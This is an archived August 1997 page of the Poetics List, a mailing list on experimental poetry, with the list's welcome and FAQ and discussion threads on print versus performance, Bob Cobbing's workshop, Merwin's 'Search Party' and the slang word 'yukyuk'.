541. Hoa Nguyen — A SAMPLE OF GAS #9
542. Thomas Bell — Re: Cockpit
543. Bob Grumman — Re: help:writing experiments
544. Steven Marks — Re: Problem in silence
545. Rachel Levitsky — Re: lorenzo thomas?

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546. Michael Magee — Re: hincty
547. Douglas — Chris Felver
548. adalaide morris — Re: hincty
549. Ira Lightman — Re: Renga for Nancarrow (cont'd)
550. mark weiss — Avant-garde and border patrols
551. Pritchett,Pat — Re: Avant-garde and border patrols
552. Jordan Davis — devolution
553. Jordan Davis — Re: devolution
554. adalaide morris — Mullen references
555. Tenney Nathanson — Re: Mullen references

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556. Thomas Bell — Re: Mullen references
557. Red Slider — Re: Mullen references
558. Herb Levy — Re: Mullen references (& renga)
559. Ryan Whyte — Shaky
560. David Bromige — (no subject)
561. John Krick — The Ear
562. Lawrence Upton. — Compuserve
563. adalaide morris — BOO
564. Robert Archambeau — Jazz Poetry
565. Judy Roitman — DC
566. Jordan Davis — our mail

567. Eliza McGrand — Re: Compuserve
568. Herb Levy — Re: Jazz Poetry
569. Julie Marie Schmid — Re: Jazz Poetry
570. Rachel Loden — crack avant-garde units & zapper squads
571. Poetics List — Welcome to Poetics List

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572. Ryan Whyte — video script
573. rsillima — By Ear, he said (or is it Bye Ear?)
574. Miekal And — Re: Jarry and his Pataphysics
575. rsillima — Ashbery/Theroux debate
576. Dean A. Brink — JavaPoetry
577. David R. Israel — Re: JavaPoetry
578. Red Slider — Re: JavaPoetry
579. Miekal And — Re: 'pataphysics & Opal Louis Nations
580. Hank Lazer — Re: Jazz Poetry
581. p. durgin — Jarry and his Pataphysics
582. Pritchett,Pat — Re: Ashbery/Theroux debate
583. Pierre Joris — Re: Jarry and his Pataphysics
584. dbkk — Re: By Ear, he said (or is it Bye Ear?)
585. Aldon L. Nielsen — Re: Mullen Lecture
586. Joel Kuszai — Meow Press Website Open
587. David Bromige — 'pataphysics & Opal Louis Nations
588. Pierre Joris — Re: 'pataphysics & Opal Louis Nations
589. Red Slider — Re: Ashbery/Theroux debate
590. mark weiss — (no subject)
591. Jordan Davis — idaho's cat, or yam what yam
592. Alan Jen Sondheim — On the Road
593. David Bromige — Another blast from the (poetry) past : Ron Loewinsohn

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594. George Bowering — Re: 'pataphysics & Opal Louis Nations
595. Carl Lynden Peters — Re: 'pataphysics & Opal Louis Nations
596. Robert Archambeau — Re: Jazz Poetry

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597. Craig Douglas Dworkin — 'Pataphysics
598. Dan or Orion Dlugonski — Princess Dead
599. mark weiss — (no subject)
600. charles alexander — (no subject)
601. Rachel Loden — black stone on a white stone
602. David R. Israel — poet gets (at once) insta-fame & quick-anonymity
603. Red Slider — Re: poet gets (at once) insta-fame & quick-anonymity
604. nuyopoman — Re: POETICS Digest - 29 Aug 1997 to 30 Aug 1997
605. Carl Lynden Peters — Re: POETICS Digest - 29 Aug 1997 to 30 Aug 1997
606. charles alexander — Nichol on Light & Dust Site

1. lee ann brown
Re: Bernadette Mayer Fund /NYC Sublet/Share
Fri 1 Aug 1997

Wow, that sure worked fast. The room posted yesterday is taken. Thanks vast-fingered EPC!

The Bernadette Mayer Fund is running low. Thank you all who donated! Bernadette is still unable to work after the cerebral hemorrhage she suffered 2 1/2 years ago, though she has started teaching her workshop at The Poetry Project at St. Mark's Church again. She is writing again, and has several forthcoming books, Another Smashed Pinecone (United Artisits) and The Studying Hunger Journals (Hard Press.) Sonnets, the first publication of Tender Buttons press, is slated to be reprinted in the Fall!

If you would like to make a contribution, please send it to John Giorno's non-profit organization:

Bernadette Mayer Fund
c/o Giorno Poetry Systems
222 Bowery
New York, NY 10012

Thanks, Lee Ann Brown

↑ Index

2. Lawrence Upton
Re: Quality & Quantity
Fri 1 Aug 1997

<<Does there need to be a polarity between print & performance? Of course there ARE differences. But what if you looked at a written/printed poem as a musical score. Then writing might be an aid to composition (in quantity large or small). & writing might make POSSIBLE multi-dimensional performances, as opposed to one-time "unrecorded" hits (or one-time recorded hits). I like the idea of a further integration of print & performance. On every level. Real poems never stand against time - they re-express time & enrich time. Why are present needs IMMEDIATE? Because they are impoverished - they lack the meta-time represented in poetry & memory. Does so-called experimental poetry renounce memory & history in order to mimic (& therefore "play a role" in) so-called "present needs"? Somebody (Stevens) said the purpose of poetry is to help people live their lives (do I have that right?). We know what impoverishment is & that it asks for a response. Is mimicry & participation the only response? Maybe it's a better response than the offer of elite traditions & values. But it might not be the only response. Ignoring history & what's been done (in

print, in performance) is an experiment in conformity (the flip side of uncritical imitation).>>

Henry Gould

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almost all poetry worth the effort is an experiment - i know all this has been said before but it was worth reiterating I think to be sure we are talking about the same thing - and then there is *experimental* - i really don't think memory & / or history should be rejected and i cannot see that doing so would involve one more in the present... i think it wld exclude one in the present in any effective way because, yes, it wld at least encourage conformity

written/printed poem may be *like* a musical score or in the case of a visual poem *like* a painting or a drawing and I am coming to the view that much visual / sound work, much performance work, is *like* not just in various ways painting and music but writing also - it is a slightly different kind of thing

i find going to workshops can encourage productive work - knowing that you will be with colleagues makes you want to have something to present - make *me* want to... not so much open mike but in my case the workshop run in London by Bob Cobbing where so many of us over here have been - cris cheek referred to it a while back - there's a productive atmosphere there... in that context quantity really isnt an issue & in any case one is only looking at / listening to what is presented that day

↑ Index

3. David R. Israel

Re: Quality & Quantity / Cobbing workshop

Fri 1 Aug 1997

Lawrence Upton wrote --

> *i find going to workshops can encourage productive work - knowing that you will be with colleagues makes you want to have something to present - make *me* want to... not so much open mike but in my case the workshop run in London by Bob Cobbing where so many of us over here have been - cris cheek referred to it a while back - there's a productive atmosphere there... in that context quantity really isnt an issue & in any case one is only looking at / listening to what is presented that day*

that's current & ongoing, then? -- am curious under what auspice it's held (some institution? -- or does he organize this himself?) --

good notes / points abt. the "historical" not being antithetical to the "present" (etc.) --

d.i.
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6. Who's Subscribed

7. The Electronic Poetry Center (EPC)

8. Poetics Archives at EPC

9. Publishers & Editors Read This!

[This document was prepared by Charles Bernstein ([redacted]), Loss PequeñoGlazier ([redacted]), and in cooperation with Joel Kuszai ([redacted]).

Above the world-weary horizons

New obstacles for exchange arise

Or unfold, O ye postmasters!

1. About the Poetics List

The Poetics List was founded in late 1993 with the epigraph above.

There are presently about 500 subscribers.

Please note that this is a private list and information about the list

should not be posted to other lists or directories of lists. The idea is

to keep the list to those with specific rather than general interests, and

also to keep the scale of the list small and the volume manageable.

individual posts of participants are sent directly to all subscribers, we continue to work to promote the editorial function of this project. The definition of that project, while provisional, and while open to continual redefinition by list participants, is nonetheless aversive to a generalized discussion of poetry. Rather, our aim is to support, inform, and extend those directions in poetry that are committed to innovations, renovations, and investigations of form and/or/as content, to the questioning of received forms and styles, and to the creation of the otherwise unimagined, untried, unexpected, improbable, and impossible.

Please keep in mind that all posts go out immediately to all subscribers, and become part of an on-line archive. *<italic>Posting to Poetics is a form of publication, not personal communication</italic>.* Participants are asked to exercise caution before posting messages! While spontaneity of response may seem the very heart of the list at its best, it also has the darker side of circulating ideas that have not been well considered (or considered by another reader -- editor or friend). Given the nature of the medium, subscribers do well to maintain some skepticism when reading the list and, where possible, to try to avoid taking what may be something close to a spontaneous comment made in the heat of exchange as if it were a revised or edited essay ("Let the Reader Beware!").

The "list owner" of Poetics is Charles Bernstein: contact him for further information. Joel Kuszai is list manager. For subscription information contact us at [redacted].

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2. Subscriptions

line, to:

[redacted]

the one-line message should say:

{or}

(replacing Jill Jillway with your own name; but note: do not use your name to unsub)

We will be sent a notice of all subscription activity.

*

If you are having difficulty unsubscribing, please note:

Sometimes your e-mail address may be changed slightly by your system administrator. If this happens you will not be able to send messages to Poetics

mail. To avoid this, unsub from the old address and resub from the new address. If you can no longer do this there is a solution if you use Eudora (an e-mail program that is available free at shareware sites): from the Tools menu select "Options" and then select set-up for "Sending Mail": you can substitute your old address here and send the unsub message.

The most frequent problem with subscriptions is bounced messages. If your system is often down or if you have a low disk quota, Poetics messages may get bounced. Please try avoid having messages from the list returned to us. If the problem is low disk quota, you may wish to request an increase from your system administrator. (You may wish to argue that this subscription is part of your scholarly communication!) You may also wish to consider obtaining a commercial account.

---

3. Cautions

Please do not send attachments or include extremely long documents in a post, since this may make it difficult for those who get the list via "digest" or who cannot always decode attached or specially formatted files.

In addition to being archived at the EPC, some posts to Poetics (especially reviews, obituary notices, announcements, etc.) may also become part of specific EPC subject areas. Brief reviews of poetry events and publications are always welcome. (See section 7.)

Please do not send inquiries to the list to get an individual subscribers address. To get this information, see section 6.

If you want someone to send out information to the list as a whole, or supply information missing from an post, or thank someone for posting something you requested, please send the request or comment to the individual backchannel, not to the whole list.

---

4. Digest Option

The Poetics List can send a large number of individual messages to

your account to each day! If you would prefer to receive ONE message

each day, which would include all messages posted to the list for that

day, you can use the digest option. Send this one-line message (no subject

line) to

[redacted]

set poetics digest

NOTE:!! Send this message to "listserv" not to Poetics or as a reply

to this message!!

You can switch back to individual messages by sending this message:

set poetics mail

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5. Temporarily turning off Poetics mail

Do not leave your Poetics subscription "active" if you are going to be away

for any extended period of time! Your account may become flooded and you may

lose not only Poetics messages but other important mail. You can temporarily

turn off your Poetics subscription by sending a message to "listserv."

set poetics nomail

& turn it on again with: set poetics mail

When you return you can check or download missed postings from the Poetics archive. (See 8 below.)

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6. Who's Subscribed

To see who is subscribed to Poetics, send an e-mail message to

e-mail message

blank. In the body of your e-mail message type:

  review poetics

You will be sent within a reasonable amount of time (by return e-mail) a rather long list containing the names and e-mail addresses of Poetics subscribers. This list is alphabetized by server not name.

 or try:

 review POETICS by name

 review POETICS by country

which will give you the list alphabetically by name or a flawed list by country (since all ".com" and ".net"s are counted as US)

Please do not send a message to the list asking for the address of a specific subscriber.

---

7. What is the Electronic Poetry Center?

our URL is

http://writing.upenn.edu/epc

The mission of this World-Wide Web based electronic poetry center is to serve as a hypertextual gateway to the extraordinary range of activity in formally innovative writing in the United States and the world. The Center provides access to the burgeoning number of electronic resources in the new poetries including RIF/T and other electronic poetry journals, the POETICS List archives, an AUTHOR library of electronic poetic texts, and direct

connections to numerous related electronic RESOURCES. The Center also provides information about contemporary print little magazines and SMALL PRESSES engaged in poetry and poetics. And we have an extensive collection of soundfiles of poets' reading their work, as

well as the archive of LINEbreak, the radio interview series.

The EPC is directed by Loss Pequeño Glazier.

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8. Poetics Archives via EPC

Go to the EPC and select Poetics from the opening screen. Follow the

links to Poetics Archives. You may browse the archives by month and

year or search them for specific information. Your interface will

allow you to print or download any of these files.

Or set your browser to go directly to:

http://writing.upenn.edu/epc/poetics/archive

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9. Publishers & Editors Read This!

PUBLISHERS & EDITORS: Our listings of poetry and poetics information is open and available to you. We are trying to make access to printed publications

as easy as possible to our users and ENCOURAGE you to participate! Send a

list of your press/publications to [redacted] with the words EPC Press Listing in the subject line. You may also send materials on disk. (Write file name, word processing program, and Mac or PC on disk.) Send an e-mail message to the address above to obtain a mailing address to which to send your disk. Though files marked up with html are our goal, ascii files are perfectly acceptable. If yourword processor ill save files in Rich Text Format (.rtf) this is also highly desirable

Send us extended information on new publications (including any back cover copy and sample poems) as well as complete catalogs/backlists (including excerpts from reviews, sample poems, etc.). Be sure to include full information for ordering--including prices and addresses and phone numbers both of the press and any distributors.

Initially, you might want to send short anouncements of new publications

directly to the Poetics list as subscribers do not always (or ever) check the

EPC; in your message please include full information for ordering. If you have

a fuller listing at EPC, you might also mention that in any Poetics posts.

Some announcements circulated through Poetics and the EPC have received a noticeable responses; it may be an effective way to promote your publication and we are glad to facilitate information about interesting publications.

END OF POETICS LIST WELCOME

↑ Index

5. Lawrence Upton

Re: Quality & Quantity / Cobbing workshop

Fri 1 Aug 1997

<<that's current & ongoing, then? -- am curious under what auspice it's held (some institution? -- or does he organize this himself?) -->>

he IS the institution but also has Writers Forum and New River Project if names are needed occasionally gets a little support and then they usually insist that it does fund-raising so we all pay a bit but for most of it there is no support - mail-shots etc are sent out as a loss the workshop offers an environment to those who need it and the press goes on publishing the experimental the adventurous and what Cobbing has called the unpublishable and last year one grant rejection said he wasnt doing anything new - I had never thought of constantly doing something enw as being repetitious

when does doing it oneself become institutional? - even Sub Voicive Poetry feels sometimes like a corporation though its only been going 16+ years - Cobbing's being going over 40

when the Poetry Society of Great Britain was run by poets and called National Poetry Centre Bob's workshop was run there but it never gave power to the the society / centre - which is just as well

<<good notes / points abt. the "historical" not being antithetical to the "present" (etc.) -->>

thank you very much

Lawrence

↑ Index

6. Jordan Davis
hypothesis and repeatability
Fri 1 Aug 1997

Somewhere in the epc archives Ron Silliman is forever disdaining the phrase 'experimental writing'; I've forgotten his argument but not the point. I myself like the association with labcoats and 'progress' -- what on earth did Barrett Watten mean? -- but I can see some problems.

Somewhere in the epc archives Ron Silliman is forever disdaining the phrase 'experimental writing'; I've forgotten his argument but not the point. I myself like the association with labcoats and 'progress' -- what on earth did Barrett Watten mean? -- but I can see some problems.

What hypothesis does a poem try? How are the results of a poem reproduceable. Any answer is a Blakean answer -- a poem is the hypthesis of itself etc the verification of a poem is its readers blah blah, and at this point the usefulness of the analogy (almost wrote analgesic) to science is show trial city. One modish and sweet writer (don't you love blind gossip columns) complained to me after a recent poetry event that yes it was good to see all these people talking, but couldn't anybody get past arguing over terms? or even past denying the proposed terms their existence? I don't think it was a generational complaint either.

So to get past it, or rather to overlap with something else, didn't Henry say something about language poetry denying history? This struck me as confusing -- the only totally ahistorical seeming writers are yukyuks like Clark Coolidge and Jackson Mac Low, and it's only half a jump from their apparently transcendental miscellanies to a) a groundedness in contemporary music and b) a vocabulary completely up to date and dare I say it sometimes even dated. "To deny history" ought to be an indictable offense, sure, but just try and get it past the grand jury. (Unless you mean that Lee Ann and I are denying history by acting like New York School poets :)

All best,
Jordan

↑ Index

7. David Israel
overglosses I've enjoyed
Fri 1 Aug 1997

[was: "Overglossing a reading--was Re: Quantity & Quality"]

Gwyn McVay sallied forth w/ this salvo --

<< The over-glossing thing can turn a reading into self-parody before syllable one of the poem has been spoken. . . . .
This was rather more than I wanted to know, and I don't remember the poem nearly so well as its intro.
o well. Your mileage may vary. >>

yes, & caveat: packing contents may shift with shippage --

these questions of narrative manner / style / succinctness / etc. in the sort of contextualizing anecdotage that can (sometimes usefully) surround a live-recited poem *in situ* -- these questions point to some of the pilings [?] on the bridge between page & performance --

a comparison / compilation of styles of banter / annotation / content (how much detail? what sort? -- personal, theoretical, philosophical, historical?) / etc. could be interesting --

of course this also relates to the theoretics of "spontaneous / improvised" versus "written / pre-planned" utterance --

I know one chap, talking about this in relation to Robert Creeley's wonderfully urbane, often laconic, fluent & fluid & on occasion a tad florid ways of framing / intersicing poems at readings -- noted that he felt the whole schtick to be somewhat rehearsed, faux-on-spur-of-moment -- or some such (semi)-(and semi-admiring)-grouse --

a recitation preface (McVeyian "gloss") that told me more abt. a poem than I would have anticipated -- but that I felt enriched for hearing -- came from W.S. Merwin, reading "Search Party" (which 1st appeared in the journal *Poetry* and was included in the volume *Travels* -- there's more in the way of clarifying annotation in the former than in the latter) --

the poem, Merwin-in-the-flesh explained, was written when his dog (Maoli) had wandered away, and they were searching high & low for it -- and he found that in such conditions of anxiety, one's language becomes simplified, formalized (here I'm paraphrasing) . . .

he was sent back, it seems, to a ballade of Villon's (after which "Search Party" is clearly based) --

he remarked that such French as he had learned, he first approached mainly so as to be able to read Villon in the original --

that he was not (usually) influenced by Villon in the sense of trying to write like Villon -- that if he could do so, perhaps that would've been all that he would have done --

but that "influence" works in different ways than is sometimes supposed:

he allowed that there had been a recurrent dream, in which he was up in the attic of his childhood home (where one certainly does not go), was searching through the trunk that one in no wise opens, and then it found it to be full of his own poems -- but that these were (in fact) Villon's . . .

hearing of this dream (and learning of Merwin's regard for Villon) served to informe interestingly abt. what Merwin is / has been up to . . .

so there's one instance

d.i.

↑ Index

8. David Israel
Search Party
Fri 1 Aug 1997

---

ah, I wrote --

<< the poem, Merwin-in-the-flesh explained, was written when his dog (Maoli) had wandered away, and they were searching high & low for it -- and he found that in such conditions of anxiety, one's language becomes simplified, formalized (here I'm paraphrasing) . . . >>

no, he didn't say "formalized" --
but more to the point: he said that one tends to *repeat oneself* --

ergo, the (repetition-rich) ballade form . . .
each verse of WSM's poem concludes:

I do not know where Maoli is

based on Villon's, each verse ending [according to one rendering]:

only myself I do not know

d.i.

↑ Index

9. Rebecca Reynolds
Re: Crankiness: Quantity & Quality
Fri 1 Aug 1997

"ego-driven word spew"
That's when you need Super Ego!

ON THE OTHER HAND, I have an 12-month administrative job in a basement office, and am grateful for prolific listmembers, especially on
these musty summer mornings, the scent of my own personal drainage

ditch out the
decrepit window. Decrepid. line wafting
in the decrepit -- (I couldn't bear
  yesterday's
just ten messages)

this argument about quality vs. quantity though, just makes me think, well, some people talk more than others, and it's just as great to stumble on prolixity as on silence -- and then there is prolific silence: the battle between verbal and pre-verbal when you sit down to write, the formed vs. the unformed, the Statue vs. the primorial ooze, little Godzilla rearing up from the reservoir. And when impoverishment leads to an ode on dejection.

rreynolds

↑ Index

10. Daniel Bouchard
little poets in my ear
Fri 1 Aug 1997

Howdy. Does anybody else suspect that the List may have exploded while you were offline? An occasional message tells me this isn't so. Actually, the low volume of messages is welcome right now. When it picks up again, perhaps a whole new tone will permeate it.

This post is just to say that with a recent upgrade of computers and software here at work I've been able to download and play the soundfiles at EPC. Right now I'm listening to Susan Howe read her poems. With headphones the bosses don't suspect a thing!

What a great resource-- when are some more poets going to be available?

[redacted]

↑ Index

11. James Finnegan
Re: Revolution at hand
Fri 1 Aug 1997

Our local news & arts weekly (Hartford Advocate)
carries a column called News of the Weird, and
last week this was the lead piece under the heading

Poetic Terrorism

Brothers Geoffrey and Aaron Kuffner were arrested in
New Orleans in June and charged with terrorism as the

ones who had recently mailed or hand-delivered suspicious
packages to local government and news media offices.
The packages contained innocuous items (which nonetheless
were frightening enough that two offices called for evacuations)
and a four-page manifesto vowing that "Violent Acts of
Consciousness Have Only Begun." According to police,
the men's goal was to call attention to public ignorance of
poetry and that among their demands was that all state
inaugural speeches be written in iambic pentameter.

↑ Index

12. Rachel Kubie
Quantity & Quality
Fri 1 Aug 1997

Henry-- didn't mean to imply that the sort of continuous flow of poetry that seems to get produced in more living circumstances is necessarily memory-less. The thing is, the printing press created the *standardized* text, the *one* we all know & seems to me that has played a big role in the *little object over/against time* perception of the poem that has maybe pushed poems into seeming isolated incidents.

And (sorry, sorry to of course example this particular history) Greco-Roman writing did start as a crude score for articulation--eloquence being considered a high art and writing being a mean, perfunctory one---(my own theory is that part of development of the written line is that it had to be brief enough to be written accross an enslaved Phonecian's theigh, since that was the support being used).

Un-articulatable aspects of writing developed later (with silent reading especially) & of course became "standard" in the long course of printing.

Have also noticed that many poets who seem oriented toward performance rather than publication tend (in their writtens) toward a plain stichometry--but then, what sort of a pause or articulation of any sort does the stanza really score?

(Or the paragraph break) Who provides examples of clearly scored poems--Creely, Mallarme, Bidart?

Maybe true that the willfull rejection of history creates an urgent need for massive production ? (To which Chris says '"yes, go ahead, one more" but I'm not driving you home.') Yes, I think, Stevens--on the point being to refresh our lives. But then, maybe shallow history & reinventing the wheel might result in more than an experiment in conformity, might be refreshing, useful? It does open

possibilities--who can participate in speaking and listening & how. Of course, the limited available history does not seem such a shackle once you no longer feel penned-in by it, once there seem to be new kingdoms which include you.

(Apologies if quanity & quality are objectionable in this note)

↑ Index

13. David Israel
hasty villannelle
Fri 1 Aug 1997

[was: Re: Crankiness: Quantity & Quality]

quoth Rebecca Reynolds:

<< . . . and then there is prolific silence: the battle between verbal and pre-verbal when you sit down to write, the formed vs. the unformed, the Statue vs. the primorial ooze, little Godzilla rearing up from the reservoir. And when impoverishment leads to an ode on dejection. >>

nice sentence --
ergo this dashed out before cabbing north

cheers,
d.i.

/ / / / /

when impoverishment leads to an ode on dejection
I find myself thinking if something is stinking
well maybe it's only some lack of connection?

I fumble in corners of codified diction
or mollified mumblings once nearing to brinking
penurious this lack of an ode on dejection

the evening not distant diurnal inspection
arrives at the verdict of staring-sans-blinking
(or maybe it's only that lack of connection

once christened the crux of a sere predilection
or better: a talent for eating & drinking --
dereaved at the dearth from an ode on dejection)

suppose it were summer suppose a conviction
of diffident feeling through indolent thinking
accoutered the booth called "a lack of connection"

with billowing sails or sallying fiction
O fricitive plosives' explicative clinking! --
impoverishment! lend us an ode on dejection
(they tell me it's only my lack of connection)

david raphael israel

↑ Index

14. Layne Russell
take a break/a little one
Fri 1 Aug 1997

---

when you left
your scarf stayed.
I've been watching it.

(I've been watching it.)

tell me
will you come again?

layne

↑ Index

15. p. durgin
Re: Crankiness: Quantity & Quality
Sat 2 Aug 1997

What Finnegan has to say puts me in mind of Proust's call to work from the particular to the general, hence transforming data into knowledge, which is not so easily shared but truly much more valuable, and it should be expected of any poet, prolific or not, that they produce work which is of a sort that can convey knowledge efficiently. This is perhaps at the roots of the obsession with form over and sometimes above the essential question,"What am I going to write about?" For to adequately call up before the eyes of a reader, an average reader, anything unlike Proust's dictum in reverse seems more and more like an impossibility in contemporary poetry. With quite remarkable exceptions (Tan Lin?) the langpo I venture through seems only to transcend the academic doodle effect when it dogmatizes, or worse, flaunts and vaunts the none too especial conceits of the author.

I[I]I [redacted] I[I]I

On Thu, 31 Jul 1997, James Finnegan wrote:

> *it often seems*
> *to me that the writer's ignoring an implied contract*

> *between writer & reader: "your (the reader's) time*
> *will not be wasted by engaging this material, because*
> *of the effort I (the writer) put into the product." What*
> *we too often get is ego-driven wordspew--I wrote it,*
> *so it must be wonderful, profound, entertaining...*
>
> *Actually the internet is a perfect great*
> *black hole waiting for such writing--it can be laid out*
> *there in cyberspace and the writer can pretend thousands*

↑ Index

16. Alan J Sondheim

From the last post I received

Sat 2 Aug 1997

---

re \ it's as if there were crafts, generations, affiliations, lacunae, which is where say Homer exists independent, ah we know early, but then? so that I'd surround her w / precisely those gaps and not wonder whom to learn from? what gives, but that I sit at her feet and do take of her knees \ only then strike out on my own re \ all these institutions not of the breath, always already say Olson re \ as for Clark C., Flag Flutter and Joglars, everywhere history leans out, ridgepole at long obtuse to the ground. so then it evens. then it clarifies, this evening-out. elsewhere, constructed upon _that_ plateau, whatever learning, for the former, it's called cleansing, Julu-Kristeva's clean and proper body, O powers of horror. -AJ

↑ Index

17. cris cheek

Re: hypothesis and repeatability

Sat 2 Aug 1997

Hi, from the pondside, was struck by this,

> *-- the only totally ahistorical seeming writers are yukyuks like*
> *Clark Coolidge and Jackson Mac Low, and it's only half a jump from their*
> *apparently transcendental miscellanies to*

want to elaborate Jordan? Perhaps yukyuks mean groovy, like bad becoming wicked = good. I donno, doubt that. Perhaps it's just expressing revulsion at the aging body? So in what ways Jordan are MacLows and Coolidge's writings ahistorical? Or even transcendental? I be intrigued to know how you argue that.

This strikes me as a defining attitude. When a couple of younger poets here in London were rigging up to read in New York City, they were asked who they might like to be co-billed with. (Both are writers with a high regard for Coolidge btw and in particular of 'The So', 'Ing', 'Suite V', 'The Maintains' - says

something interesting about some vice-versa differences). They put forward Ted Greenwald as a suggestion and met a response of the 'you can't be serious' variety. These younger Brits read new work from counterparts in the US and tell me they are struck by its sentimentality, its lack of incision (I'm hugely paraphrasing here). They are finding the early lang-po (generally before 1980-ish) the most energising and generative models to read and learn from.

Curious differences. Part of which in the pre-'e' days might be explained by the UK's cultural passivity in respect of the US dominance and by a time lag of approximately 5 years. But the tide is less defined these days.

Curious about what seems from here, to be a need to dump the 'elders' and not to learn from them ups and outs and their mistakes in a more positive frame.

love and love
cris

↑ Index

18. Lawrence Upton
hypothesis and repeatability
Sat 2 Aug 1997

I am enjoying many of the threads - including stuff about dialects and euphemisms ... and now here's another... yukyuk

<<the only totally ahistorical seeming writers are yukyuks like Clark Coolidge and Jackson Mac Low>>
says Jordan Davis

I hadn't met that - it sounded childish and immature at first but then it occurred to me that maybe that's my Eurocentrism and perhaps the word is a pre-Colombian word, in origin, of great power and intelligence... so I had another go... This time, it's probably my English ear, but, yukyuk SOUNDED like a term of abuse so I was intrigued because I find it hard to imagine that in the context of these two writers used by someone who had really engaged with their work

perhaps it is something more subtle... I think it must be - with the otherwise inexplicable collocation _totally ahistorical seeming_ standing out in ironic glory once I have grasped the full connotational and analytical power of _yukyuk _ in the context of these fine and innovative writers

pardon an ignorant limey but can anyone throw light on _yukyuk_, it's usage etc

and while you're doing that, just off at a tangent, do you guys use the word _airhead_ at all?

Lawrence

↑ Index

19. Lawrence Upton
yukyuk
Sat 2 Aug 1997

I regret the strength of my response to _yukyuk_ wch may deserve that response in itself and yet - surely we can do better than such dismissiveness i was also of course interested in _its usage_ rather than _it's usage_

so it goes

L

↑ Index

20. David R. Israel
yukyuks
Sat 2 Aug 1997

[was: Re: hypothesis and repeatability]

Both chris cheek and Lawrence Upton wonder about Jordan Davis's (presumed) neologismic adjectival redubplicative binomial whatsit --

thus L. Upton wrote --

> *I am enjoying many of the threads - including stuff about dialects and euphemisms ... and now here's another... yukyuk*
>
> *<<the only totally ahistorical seeming writers are yukyuks like Clark Coolidge and Jackson Mac Low>> says Jordan Davis*
>
> *I hadn't met that - it sounded childish and immature at first but then it occurred to me that maybe that's my Eurocentrism and perhaps the word is a pre-Colombian word, in origin, of great power and intelligence... so I had another go... This time, it's probably my English ear, but, yukyuk SOUNDED like a term of abuse so I was intrigued because I find it hard to imagine that in the context of these two writers . . .*

I'm wondering too abt. yukyuk, and no doubt JD will enlighten the masses of usses -- but meanwhile, here's a hypothesis abt. (tentative parsing of) the repeatable enigma (i.e., yukyuk) --

1. somewhat reminds of muck-a-muck (derived from "high muck-a-muck") with indeed poss. American Indian roots -- acc. to WWWebster's:

Main Entry: high-muck-a-muck
Pronunciation: "hI-'m&-ki-"m&k

Variant(s): or high-muck·e·ty-muck /"hI-'m&-k&-tE-"m&k/
Function: noun
Etymology: by folk etymology from Chinook Jargon hayo makamak plenty to eat
Date: 1856 : an important and often arrogant person

[also note:
Main Entry: muck-a-muck
Variant(s): or muck·ety-muck /'m&-k&-tE-/
Function: noun
Date: 1912
: HIGH-MUCK-A-MUCK]

2. the word yuk (or yuck) itself has three distinct meanings (only 2 of 'em covvered by WWWebst.) --

The WWWebster 2nd entry says:

Main Entry: 2yuck
Variant(s): also yuk
Function: interjection
Date: 1966
-- used to express rejection or disgust <spending hours over some dish and getting, "yuck, I hate that" -- Anne Dowie>

this is presumably the lexical sense that can make LUpton wonder if yukyuk should be understood to suggest some manner of derogation ("term of abuse"). WWWebster's does give another meaning of yuck:

Main Entry: 1yuck
Pronunciation: 'y&k
variant of<SUP>2yak -->

Main Entry: 2sup
Function: noun
Date: circa 1570
: a mouthful especially of liquor or broth : SIP; also : a small quantity of liquid <pour me just a sup of tea>

but it's hard for me to find the relevance. That webtionary doesn't seem to know about what I think of as the more likely relevant usage -- what I'm considering the 3rd (most colloquial?) sense of yuck --

as based on the expression "yuck yuck yuck" (or some such), meaning "heh heh"or "what a joke!" or "ho ho ho!" . . . i.e., a (perhaps cartoon-based) interjection signifying or suggesting laughter (or oftentimes, the idea of laughter shorn of the actual phenomenon?) --

anyway, in my speculative opinion, "a yukyuk" suggests someone who's a serious comic of some sort -- a jokester / trickster

involved in outlandish feats of metaphysical humor or "cosmic laughter" as 'twere --

a yukyuk = a muck-a-muck of chuckle-down-theory, belike? --

3. In general, btw, the UCK words may have a degree of intertextuality (so to say, sotto voce) -- i.e., any one UCK word suggests another in various degrees of subtextual resonance --

muck / yuck / fuck / schmuck /
luck / pluck / cluck / duck /
Huck [Finn] /
Puck [Djinn] /
tuck in
  [also, as in Tuck & Patti] /
puk win
  [sp? as in hockey] /
chuck
  [also, as in to chuck up] /
truck
  [also, as in, "don't have much truck with"] /

and there's:
 snuck up (trickster)
 stuck up (dickster)
 chuck up (yuckster)
 fuck up (schmuckster)

 gotchyer pluck up?
 dontcha muck up!
 whatta schmuck!
 outtal luck!

 yuk yuk yuk!

yoohoo Jordon, awright whats the deal?

d.i.
 .
 .....
 .....
 \\\\

| [redacted] (home)
| [redacted] (office)
==========
| thy centuries follow each other
| perfecting a small wild flower
| (Tagore)
//\\\\\/////

↑ Index

21. **Keith Tuma**

Re: hypothesis and repeatability

Sat 2 Aug 1997

On Sat, 2 Aug 1997 06:00:14 -0400 Lawrence Upton said:
>I am enjoying many of the threads - including stuff about dialects and
>euphemisms ... and now here's another... yukyuk
>
><<the only totally ahistorical seeming writers are yukyuks like Clark
>Coolidge and Jackson Mac Low>>
>says Jordan Davis
>
>I hadn't met that - it sounded childish and immature at first but then it=
>
>occurred to me that maybe that's my Eurocentrism and perhaps the word is =
>a
>pre-Colombian word, in origin, of great power and intelligence... so I ha=
>d
>another go... This time, it's probably my English ear, but, yukyuk SOUNDE=
>D
>like a term of abuse so I was intrigued because I find it hard to imagine=
>
>that in the context of these two writers used by someone who had really
>engaged with their work
>
>perhaps it is something more subtle... I think it must be - with the
>otherwise inexplicable collocation _totally ahistorical seeming_ standing=
>
>out in ironic glory once I have grasped the full connotational and
>analytical power of _yukyuk _ in the context of these fine and innovative=
>
>writers
>

>pardon an ignorant limey but can anyone throw light on _yukyuk_, it's usa=
>ge
>etc
>

Hi Lawrence,

I lost my dictionary while cleaning the stable but I think that "yukyuk" must be an effort to twist the now nearly obsolete usage of "yuk" as verb/noun into a jordanesque noun. One used to "yuk it up"--i.e. have a chortle or two. That word it rhymes with suggests a buried origin in carnal hilarity. Kids, of course, still say "Yuk!" but only to allude to the brilliant animated TV series, later a book series, written by Anne van der Essen and illustrated by Etienne Delessert. Product of Swiss TV, the books themselves published in English-language editions by Moonlight Publishing in Britain though printed in Italy, they were called as I recall _Yok-Yok_. Ah, cosmopolitan youth, where are you off to now? Jordan will know, as he is only 15.

>and while you're doing that, just off at a tangent, do you guys use the
>word _airhead_ at all?
>
